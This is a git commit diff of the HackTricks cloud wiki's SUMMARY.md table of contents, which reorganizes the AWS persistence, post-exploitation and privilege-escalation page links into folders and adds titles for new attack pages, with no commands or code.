mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
organize aws + new attacks
This commit is contained in:
carlospolop
242
src/SUMMARY.md
242
src/SUMMARY.md
@@ -216,51 +216,62 @@
|
||||
- [AWS - Federation Abuse](pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md)
|
||||
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
||||
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
||||
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md)
|
||||
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md)
|
||||
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md)
|
||||
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md)
|
||||
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md)
|
||||
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md)
|
||||
- [AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)](pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md)
|
||||
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md)
|
||||
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md)
|
||||
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md)
|
||||
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md)
|
||||
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md)
|
||||
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md)
|
||||
- [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
|
||||
- [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
|
||||
- [AWS - Lambda Alias Version Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md)
|
||||
- [AWS - Lambda Async Self Loop Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md)
|
||||
- [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
|
||||
- [AWS - Lambda Exec Wrapper Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md)
|
||||
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
|
||||
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
|
||||
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
|
||||
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md)
|
||||
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
|
||||
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
|
||||
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
|
||||
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
|
||||
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
|
||||
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
|
||||
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md)
|
||||
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md)
|
||||
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md)
|
||||
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md)
|
||||
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md)
|
||||
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md)
|
||||
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md)
|
||||
- [AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md)
|
||||
- [AWS - SQS OrgID Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md)
|
||||
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md)
|
||||
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md)
|
||||
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md)
|
||||
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)
|
||||
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md)
|
||||
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md)
|
||||
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md)
|
||||
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md)
|
||||
- [AWS - CodeBuild Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md)
|
||||
- [AWS Codebuild - Token Leakage](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md)
|
||||
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md)
|
||||
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md)
|
||||
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md)
|
||||
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md)
|
||||
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md)
|
||||
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md)
|
||||
- [AWS - EC2, EBS, SSM & VPC Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md)
|
||||
- [AWS - EBS Snapshot Dump](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
|
||||
- [AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md)
|
||||
- [AWS - Live Data Theft via EBS Multi-Attach](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md)
|
||||
- [AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md)
|
||||
- [AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md)
|
||||
- [AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md)
|
||||
- [AWS - Security Group Backdoor via Managed Prefix Lists](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md)
|
||||
- [AWS – Egress Bypass from Isolated Subnets via VPC Endpoints](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md)
|
||||
- [AWS - VPC Flow Logs Cross-Account Exfiltration to S3](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md)
|
||||
- [AWS - Malicious VPC Mirror](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md)
|
||||
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md)
|
||||
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md)
|
||||
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md)
|
||||
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md)
|
||||
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
|
||||
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
|
||||
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
|
||||
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md)
|
||||
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md)
|
||||
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md)
|
||||
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md)
|
||||
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md)
|
||||
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md)
|
||||
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md)
|
||||
- [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
|
||||
- [AWS - Lambda EFS Mount Injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md)
|
||||
- [AWS - Lambda Event Source Mapping Hijack](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md)
|
||||
@@ -269,65 +280,71 @@
|
||||
- [AWS - Lambda Runtime Pinning Abuse](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md)
|
||||
- [AWS - Lambda Steal Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
|
||||
- [AWS - Lambda VPC Egress Bypass](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md)
|
||||
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
|
||||
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
|
||||
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)
|
||||
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md)
|
||||
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
|
||||
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md)
|
||||
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md)
|
||||
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md)
|
||||
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
|
||||
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
|
||||
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md)
|
||||
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
|
||||
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md)
|
||||
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md)
|
||||
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md)
|
||||
- [AWS - SageMaker Post-Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md)
|
||||
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md)
|
||||
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md)
|
||||
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md)
|
||||
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md)
|
||||
- [AWS - SNS Message Data Protection Bypass via Policy Downgrade](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md)
|
||||
- [SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md)
|
||||
- [AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md)
|
||||
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md)
|
||||
- [AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md)
|
||||
- [AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md)
|
||||
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md)
|
||||
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md)
|
||||
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md)
|
||||
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md)
|
||||
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
|
||||
- [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
|
||||
- [codestar:CreateProject, codestar:AssociateTeamMember](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md)
|
||||
- [iam:PassRole, codestar:CreateProject](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md)
|
||||
- [AWS - Cloudformation Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md)
|
||||
- [iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md)
|
||||
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md)
|
||||
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md)
|
||||
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md)
|
||||
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md)
|
||||
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md)
|
||||
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md)
|
||||
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md)
|
||||
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md)
|
||||
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md)
|
||||
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
|
||||
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md)
|
||||
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md)
|
||||
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md)
|
||||
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md)
|
||||
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md)
|
||||
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md)
|
||||
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md)
|
||||
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md)
|
||||
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md)
|
||||
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md)
|
||||
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md)
|
||||
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md)
|
||||
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md)
|
||||
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md)
|
||||
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
|
||||
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md)
|
||||
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md)
|
||||
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
|
||||
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md)
|
||||
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md)
|
||||
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md)
|
||||
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md)
|
||||
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md)
|
||||
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md)
|
||||
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md)
|
||||
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md)
|
||||
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md)
|
||||
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md)
|
||||
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md)
|
||||
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md)
|
||||
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md)
|
||||
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md)
|
||||
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md)
|
||||
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md)
|
||||
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md)
|
||||
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md)
|
||||
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md)
|
||||
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md)
|
||||
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md)
|
||||
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md)
|
||||
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md)
|
||||
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md)
|
||||
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md)
|
||||
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md)
|
||||
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md)
|
||||
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md)
|
||||
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md)
|
||||
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md)
|
||||
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md)
|
||||
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md)
|
||||
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md)
|
||||
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md)
|
||||
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md)
|
||||
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md)
|
||||
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md)
|
||||
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md)
|
||||
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md)
|
||||
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md)
|
||||
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md)
|
||||
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md)
|
||||
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md)
|
||||
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md)
|
||||
- [AWS - Services](pentesting-cloud/aws-security/aws-services/README.md)
|
||||
- [AWS - Security & Detection Services](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md)
|
||||
- [AWS - CloudTrail Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md)
|
||||
@@ -354,7 +371,7 @@
|
||||
- [Cognito User Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md)
|
||||
- [AWS - DataPipeline, CodePipeline & CodeCommit Enum](pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
|
||||
- [AWS - Directory Services / WorkDocs Enum](pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md)
|
||||
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md)
|
||||
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md)
